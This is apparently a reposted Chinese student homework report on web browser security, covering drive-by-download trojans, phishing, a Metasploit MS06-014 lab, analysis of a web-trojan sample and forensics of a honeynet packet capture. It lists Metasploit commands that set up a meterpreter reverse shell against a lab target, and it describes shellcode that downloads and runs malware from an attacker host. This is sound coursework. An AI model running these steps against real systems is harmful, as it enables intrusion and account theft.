20199101 2019-2020-2 《网络攻防实践》第十二周作业

Web浏览器安全攻防


0. 总体结构


本次作业属于哪个课程 网络攻防实践
这个作业要求在哪里 Web浏览器安全攻防
我在这个课程的目标是 学习网络攻防相关技术和原理
这个作业在哪个具体方面帮助我实现目标 Web浏览器安全攻防的知识,常用Web浏览器攻击方式

1. 实践内容


第十一章的主要内容是Web浏览器的安全攻防,Web浏览器现在已经最多互联网用户最多的使用客户端软件,所以针对Web浏览器的攻击也层出不穷。本文主要从Web浏览器的技术发展开始,顺便说明技术发展过程的一些安全威胁,然后介绍两类典型的Web浏览器攻击网页木马和网络钓鱼本文的理论内容不多,很多都是之前的知识和拓展,但是本文的实践内容偏多,实践内容也比较综合。

  • Web浏览器的技术发展与安全威胁
  • 网页木马-浏览器渗透攻击
  • 网络钓鱼

1.1 Web浏览器的技术发展与安全威胁


  • Web浏览器定义

    • 显示网页服务器或文件系统内的文件,并让用户与这些文件进行交互的一种软件。
  • 用户可迅速及轻易地浏览万维网上的各种(文字、图像、视频等)信息与应用。

  • Web浏览器发展

    • 第一次浏览器大战是微软的IE浏览器和网景的竞争,最终以微软通过免费捆绑方式胜出。而Netscape的结局就是解散宣布死亡。
    • 第二次浏览器大战是IE的衰落、Chrome和Firefox的兴起,至今,这二者都占领浏览器的最大市场。
    • 第三次浏览器大战是移动终端上的浏览器之争,各家也在自己的移动设备上捆绑了自己的移动浏览器,目前如Safari、Chrome Lite等百花齐放。
  • 现代浏览器的技术结构

    • 浏览器的抽象分层结构将浏览器分成了个子系统:用户界面(User Interface)浏览器引擎(Browser Engine)渲染引擎(Rendering Engine)网络(Networking)JavaScript解释器(JavaScript Interpreter)XML解析器(XML Parser)显示后端(Display Backend)数据持久层(Data Persistence)。关于各个子系统的具体内容参考现代浏览器工作原理

      liu1

  • 现代浏览器的安全问题

    • 软件安全困境三要素
      • 复杂性:现代浏览器需要支持各种协议、以及各种页面标准等,现在已经非常复杂。
      • 可扩展性:为了拓展需求,各个浏览器都基本支持插件安装。
      • 连通性:browsing anything at anytime in anywhere
  • 浏览器安全问题的位置

    • 针对网络的网络协议的安全威胁。
    • 针对Web浏览器系统平台的安全威胁。
    • 针对Web浏览器插件、集成的应用程序的安全威胁。
    • 针对互联网用户的社会工程学攻击。
  • Web浏览安全威胁类型

    • 网络钓鱼(Phishing)
    • 恶意木马与流氓软件下载
    • 网页木马-浏览器渗透攻击
    • 不良信息内容

1.2 网页木马-浏览器渗透攻击


  • 网页木马含义

    • Web Infection/Drive-by-downloads

    • 网页感染已成为国内互联网最重要的恶意代码传播形式。

    • 网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。可以参考网页木马制作全过程

      liu2

  • 背后驱动的地下经济链

    • 网页木马背后驱动的地下经济链

      • 最重要的支柱: 网络虚拟资产地下经济链。
      • 其他: 点击欺诈/DDoS等。
    • 网络虚拟资产地下经济链

      • 角色: 病毒编写者、黑站长/网站骇客、“信封”盗窃者、 虚拟资产盗窃者、 虚拟资产卖家、玩家。
      • 地下经济链交互市场:地下黑市如百度贴吧等黑客论坛发 布广告,QQ即时通讯软件沟通,支付宝交易。虚拟资产公开市场:淘宝、腾讯拍 拍网等。

      liu3

  • 网页木马攻击技术流程

    • 多样化的客户端渗透攻击位置和技术类型。
    • 分布式、复杂的微观链接结构。
    • 灵活多变的混淆和对抗分析能力。

    liu4

  • 网页挂马机制

    • 内嵌HTML标签:最为简单和常见的流量重定向机制:iframe嵌入外部页面链接。
    • 恶意script脚本:利用script标签通过跨站脚本包含网页木马。
    • 内嵌对象:用第三方应用软件或浏览器帮助对象(BHO)的内嵌对象。
    • ARP欺骗挂马:在同一网段内进行中间人攻击。
  • 网页木马感染链

    • 网页木马通常不会直接存在于被挂马页面中。
    • 通过多层嵌套的内嵌链接、跨站脚本等方式构建网马感染链。
      • 混淆机制:如代码的编排、编码混淆等方法。
    liu5
  • 页木马的检测与分析技术

    • 基于特征码匹配的传统检测方法,提取样本特异性。
    • 基于统计与机器学习的静态分析方法,基于语义特征的方式。
    • 基于动态行为结果判定的检测分析方法,采用蜜罐的形式。
    • 基于模拟浏览器环境的动态分析检测方法,基于模拟浏览器来分析网页木马。
  • 网站挂马威胁防范措施

    • 系统软件、应用软件补丁自动更新。
    • 反病毒软件的使用。
    • 安全上网、Google安全建议。
  • 网页木马例子

    • MS06-014安全漏洞机理:MDAC中的RDS.Dataspace ActiveX控件远程代码执行漏洞,没有对通过该控件在宿主上的交互行为进行有效控制。

1.3 网络钓鱼


  • 网络钓鱼含义
    • 目标:获取个人敏感信息如用户名、口令、帐号ID、网银、ATM PIN码或信用卡信息等。
    • 手段
      • 架设钓鱼网站如知名金融机构及商务网站。
      • 发送大量欺骗性垃圾邮件。
      • 诱骗因特网用户访问钓鱼网站并以敏感信息登录。
      • 滥用个人敏感信息如资金转账、冒用身份等。
  • 钓鱼攻击策略-架设钓鱼网站
    • 大规模扫描有漏洞的主机并攻陷主机,使用批扫描工具,自动攻击工具。
    • 架设钓鱼网站
      • 前台假冒网站:知名的金融机构、在线电子商务网站。
      • 后台脚本:收集、验证用户输入,并通过某种渠道转发给钓鱼者。
  • 钓鱼攻击策略-欺骗技术
    • 欺骗用户访问钓鱼网站
      • DNS中毒攻击。
      • 网络流量重定向。
      • 社会工程学-欺骗性垃圾邮件。
    • 欺骗性垃圾邮件
      • 发送途径-难以追踪。
      • 发送源-冒充知名权威机构。
      • 发送内容-安全理由、紧急事件,欺骗用户访问钓鱼网站,给出敏感个人信息。
  • 钓鱼攻击策略-欺骗的技巧
    • 使用IP地址代替域名。
    • 注册发音相近或形似DNS域名。
    • 多数真实的链接中混杂关键的指向假冒钓鱼网站的链接。
    • 对链接URL进行编码和混淆。
    • 攻击浏览器,隐藏消息内容的本质。
    • 假冒钓鱼网站的透明性。
    • 恶意软件安装浏览器助手工具。
    • 修改本地DNS域名和IP地址映射hosts文件。
  • 网站钓鱼防范措施
    • 了解网站钓鱼安全威胁与技巧。
    • 增强安全意识,提高警惕性。
    • 使用安全软件。

2. 实践过程


2.1 浏览器渗透攻击实践

任务:使用攻击机进行浏览器渗透攻击实践。

环境:攻击机:Kali、靶机:Windows靶机。

  • 选择使用Metasploit中的MS06-014渗透攻击模块。
  • 选择PAYLOAD为任意远程Shell连接。
  • 设置LHOST参数,运行exploit,构造出恶意网页脚本。
  • 在靶机环境中启动浏览器,访问恶意网页脚本URL。
  • 查看建立起的远程控制会话SESSION。

  • 说明:选择靶机为Win2KServer,IP地址为192.168.3.33,攻击机为Kali,IP地址为192.168.3.19

  • 这里的攻击过程和前面实践内容基本相似,这里就简单叙述了。首先在kali中msfconsole打开metasploit,然后就是选择漏洞use exploit/windows/browser/ie_createobject,设置靶机和攻击机地址set rhost 192.168.3.33set lhost 192.168.3.19

    wk11me1

  • 设置payload为set payload windows/meterpreter/reverse_tcp,并执行run,我们发现给了我们一个Local IP,所以这个时候只要当靶机访问这个Local IP的时候,应该就会有Session建立起来了。

    wk11me2

  • 下面我们通过靶机的浏览器访问http://192.168.3.19:8080/y89NHm,浏览器返回一串字符,这个时候我们观察攻击机的行为,果然已经建立起了一个会话,攻击成功。

    wk11me3

    wk11me4

  • 最后我们验证下会话是否有效吧,我们使用指令sessions -i 2打开会话,然后执行指令,发现执行成功,sessions成功建立。到此,我们的攻击浏览器的实践完成。

    wk11me5


2.2 网站挂马分析实践

任务:根据给出的说明逐步分析,得到最终的木马文件的内容。

说明:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。

  • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
  • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
  • 从解密后的结果来看,攻击者利用了那些系统漏洞?
  • 解密后发现了多少个可执行文件?其作用是什么?
  • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

  • 说明:这个实践没有给出环境,也没找到入口的start.html文件和其他的html文件,但是从提供的文件中有hash值和原始可执行文件。所以这里的分析直接从可执行文件开始,之前的网页加解密分析略过。(为了保证完整性,前面的内容参考答案也给出)

  • 首先给出这个网站的基本的分析图,以及用了哪些混淆技术。

    • 网页加密方法: www.cha88.cn
    • aa/kl.htm (dispatcher页面)
      • 十六进制编码
      • t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))
      • Base64编码, xxtea加密(密钥:script), UTF16to8编码
    • 1.js (MS06-014网马)
      • 十六进制编码
    • b.js (暴风影音网马)
      • 老外写的js加解密工具
    • pps.js (PPStream网马)
      • 八进制编码

    wk11web1

  • 根据前面的分析结果,我们用IDA Pro打开这个pps.exe,查看其字符串,并根据字符串进行猜测(不完全截图)。我们有以下的猜测

    • 首先这个软件会下载一堆木马文件*.exe
    • 这个程序可能在磁盘根目录下生成自动运行的文件(":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command=")
    • 这个程序要对 IE、注册表、服务和系统文件进行操作("advapi32.dll",,"drivers/klif.sys","\program files\internet explorer\IEXPLORE.EXE","IE 执行保护","IEXPLORE.EXE","Software\Microsoft\Windows\CurrentVersion\Poli"),"Kernel32.dll","SOFTWARE\Borland\Delphi\RTL","ChangeServiceConfig2A" , "ChangeServiceConfig2W","QueryServiceConfig2A","QueryServiceConfig2W")
    • 这个程序有一定的防系统保护软件的能力( "允许","允许执行")。

    wk11web2

  • 下面需要用到一个文件Total Uninstall,亲测32位可用。我们实际运行这个pps.exe看看情况,并用Total Unistall进行监控。我们通过检查注册表和文件,可以发现这个程序做了以下几件事:

    • 在系统文件夹(system32)下创建了一个 serdst.exe 的文件。
    • 安装了一个服务,服务名为Wdswsdewn,显示名为Telephotsgoogle描述为为即插即用设备提供支持,这个服务启动的就是上面那个 serdst.exe 文件。
    • 删除了当前程序,下载了20个木马文件。这个也可以从上面的字符串分析中得到一些信息。

    wk11web3

  • 下一步就是看看这些下载的木马文件是干嘛的了。首先用超级巡警进行脱壳,不脱壳查看不到字符串,但是在导入IDA的时候提示文件损坏,暂时不管吧,估计是文件进行了保护。下面是对16.exe进行脱壳之后查看的结果,这些字符串大多都是对系统函数的调用,还有注册表的一些操作等等,这里猜测是利用一些系统漏洞进行操作,但是还不清楚是干嘛,确实没有啥有用的信息。

    wk11web4

  • 下面我们用万恶软件360帮助我们看看这些软件是干嘛。不错,全是木马软件,我们具体看看详情,原来是一些系列的盗号木马。利用系统漏洞,绕过防御机制,对多个账号进行检测,盗取用户的账号。

    wk11web5

    wk11web6

  • 在这里我们最后用TU再分析一下吧,可以看到生成了一系列的文件,其实这些文件都是非常可疑的,譬如打开生成的一个dll文件,是一个链接,估计就是盗号之后的传输链接吧。

    wk11web7


2.3 Web浏览器渗透攻击对抗实验

  • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
  • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

  • Metasploit是有混淆机制的,使用的技术是rand_text_alpha,但是我不知道怎么破啊,后面再更新吧

2.4 Web浏览器遭遇攻击、取证分析

任务:通过分析给的网络记录文件,回答下列问题:

  • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
  • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
  • 请给出攻击者执行攻击动作的概要描述。
  • 攻击者引入了哪些技巧带来了困难。
  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
  • shellcode执行了哪些操作?比较他们之间MD5的差异?
  • 在攻击场景中有二进制可执行代码参与吗?目的是什么?

  • 说明:需要用到chaosreader(协议分析软件)。

  • 首先我们利用chaosreader读取这个文件./chaosreader suspicious-time.pcap,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,只有HTTP有攻击的嫌疑,并且通过Wireshark打开追踪HTTP流还会发现sploitme关键字段。

    wk11pca1

  • 我们使用下面的指令来查询有哪些IP地址和域名在进行攻击,下面的指令就是选取之前生成的.http.html文件读取,筛选主机并列出来。通过图片可以看到,rapidshare.com.eyu32.ru 对应192.168.56.50sploitme.com.cn对应192.168.56.50shop.honeynet.sg对应192.168.56.51

    • 服务10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP 服务和网关),192.168.1.1 (DNS 服务)。
    • 受害者10.0.2.15, 10.0.3.15, 10.0.4.15,10.0.5.15
    • 模拟被侵入主机192.168.56.50 ( “rapidshare.com.eyu32.ru”)、192.168.56.51 (“shop.honeynet.sg”)。
    • 攻击者192.168.56.52 ( “sploitme.com.cn”)。
    for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort
    

    wk11pca2

  • 下面就是确定这是安装在什么环境了,我们利用指令列出 netbios 主机名和工作组,发现都是一样,所以应该是配置在虚拟机下面的。

    wk11pca3

  • 通过Wireshark可以查看所有的访问的Web界面,然后主要是找出哪些是恶意的js脚本,主要目的是什么?别忘了我们刚才生成了许多html文件。

    wk11pca4

  • 通过打开session_0006.part_01.html发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php。那我们找sploitme.com.cn,404 NotFound了,这个对应文件session_0007.part_02.html。下面找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html

    wk11pca5

    wk11pca6

    wk11pca7

  • 攻击动作的概要描述

    • 攻击者将恶意javascript代码注入指向sploitme.com.cn/?click=X的隐藏iframe。
    • 当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面(请参见数据包63、174、366)。
    • 然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。
    • 如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件。 在我们的案例中,恶意软件访问www.honeynet.org。
  • 有哪些防分析方法:

    • 被黑的网页包含javascript代码,这些javascript代码使用简单的编码和加密进行了混淆,如:

      wk11pca8

    • 恶意页面伪装成看起来像404页面。

      wk11pca9

    • 发送给受害者的漏洞利用程序取决于受害者使用的浏览器,这使得确定漏洞利用者变得更加困难。

    • 该漏洞利用程序不允许同一客户端访问两次。 在数据包366中,show.php可能不会尝试两次通过识别IP来利用同一客户端,因此成功访问同一页面将为客户端提供一个干净的404页面。

  • 有哪些漏洞

    • 首先我们追踪TCP 142号流,可以查看到这是一个针对Windows XP系统的,主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的。然后主要是哪几种漏洞,这个我找了很久没看出来,估计是被加密的,应该要解密之后才能看出来。下面展示的漏洞都是答案给的。

    • MDAC RDS.Dataspace ActiveX control

    • AOL IWinAmpActiveX control (AmpX.dll)

    • DirectShow ActiveX control (msvidctl.dll)

    • Office Snapshot Viewer ActiveX control

    • COM Object Instantiation (msdds.dll)

    • Office Web Components ActiveX control

    • 可以通过修补操作系统和应用程序,进行定期更新以及使用“ ActiveX杀手”或完全使用其他Web浏览器来防止攻击。

      wk11pca10

  • 首先给出Shellcode的执行过程,Shellcode获取系统临时文件路径,加载urlmon.dll,从URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。其实shellcode可以在tcp流中看到,下图所示的部分就是shellcode的部分,但是不知道怎么提取出来,所以下面的MD5也没有进行测试。

    • Exploit I – (no shellcode involved)
    • Exploit II – 41d013ae668ceee5ee4402bcea7933ce
    • Exploit III – 1dacf1fbf175fe5361b8601e40deb7f0
    • Exploit IV – (no shellcode involved)
    • Exploit V – 22bed6879e586f9858deb74f61b54de4
    • Exploit VI – 9167201943cc4524d5fc59d57af6bca6

    wk11pca11

  • 首先,这是有恶意软件的参与的,通过这个网站也可以看到有几个可执行程序,整个攻击是使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。 恶意可执行软件这是load.php发送的Win32可执行文件,它通过Internet Explorer加载www.honeynet.org。

    wk11pca12


3. 学习中遇到的问题及解决


  • 问题一:在取证分析实践中,有一些问题还没有解决,譬如加密之后我怎么知道用户获取了哪些漏洞?譬如怎么获取shellcode的MD5值。
  • 问题一解决方案:暂时还没有解决,对答案给出的使用工具都不太熟悉。
  • 问题二:
  • 问题二解决方案:
  • 问题三:
  • 问题三解决方案:

4. 学习感悟、思考

  • 本次作业有点多,而且作业内容很综合,需要用到以前的所有知识,有一定的难度。

参考资料

猜你喜欢

转载自www.cnblogs.com/charlesxie/p/12920782.html